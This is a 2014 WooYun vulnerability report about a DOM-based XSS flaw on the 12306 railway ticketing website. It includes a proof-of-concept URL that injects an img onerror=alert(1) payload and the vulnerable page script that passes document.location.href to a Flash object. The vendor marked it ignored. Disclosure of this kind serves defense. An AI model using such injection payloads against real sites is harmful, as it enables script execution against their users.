当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048232

漏洞标题:12306官网存在domxss漏洞

相关厂商:中国铁道科学研究院

漏洞作者: 啊L川

提交时间:2014-01-08 09:28

修复时间:2014-01-13 09:29

公开时间:2014-01-13 09:29

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-08: 细节已通知厂商并且等待厂商处理中
2014-01-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

小问题,12306官网存在xss反射漏洞。

详细说明:

http://www.12306.cn/mormhweb/?hello"></object><img src=1 onerror=alert(1)><"

QQ截图20140108085229.png

漏洞证明:

<script type="text/javascript">
var focus_width=184;
var focus_height=140;
var text_height=20;
var swf_height = focus_height+text_height;
var curhref=document.location.href;

var pic = new Array();
var linka = new Array();
var text = new Array();

pic.push('./zcfc/tj/201001/W020121205754470965784.jpg');
linka.push('./zcfc/tj/201001/t20100123_1660.html');
text.push('天津站');

pic.push('./zcfc/bj/201001/W020121205754458624716.jpg');
linka.push('./zcfc/bj/201001/t20100123_1654.html');
text.push('北京西站');

pic.push('./zcfc/tj/201001/W020121205754470035663.jpg');
linka.push('./zcfc/tj/201001/t20100123_1659.html');
text.push('天津西站');

pic.push('./zcfc/nmg/bt/201001/W020121205754474404901.jpg');
linka.push('./zcfc/nmg/bt/201001/t20100123_1662.html');
text.push('包头站');

var pics = pic.join('|');
var links = linka.join('|');
var texts = text.join('|');



//pics = pics.substring(0,pics.length-1);
//linkage = linkage.substring(0,linkage.length-1);
//texts = texts.substring(0,texts.length-1);
var FocusFlash = new sinaFlash("./images/photoShow.swf", "focusflash", focus_width, swf_height, "7", "#DFEFF9", false, "High");
FocusFlash.addParam("allowScriptAccess", "sameDomain");
FocusFlash.addParam("menu", "false");
FocusFlash.addParam("wmode", "opaque");

FocusFlash.addVariable("pics", pics);
FocusFlash.addVariable("links", links);
FocusFlash.addVariable("texts", texts);
FocusFlash.addVariable("borderwidth", focus_width);
FocusFlash.addVariable("borderheight", focus_height);
FocusFlash.addVariable("textheight", text_height);
FocusFlash.addVariable("curhref", curhref);
FocusFlash.write("focusViwer");
</script>

修复方案:

document.location.href; 过滤

版权声明:转载请注明来源 啊L川@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-13 09:29

厂商回复:

最新状态:

暂无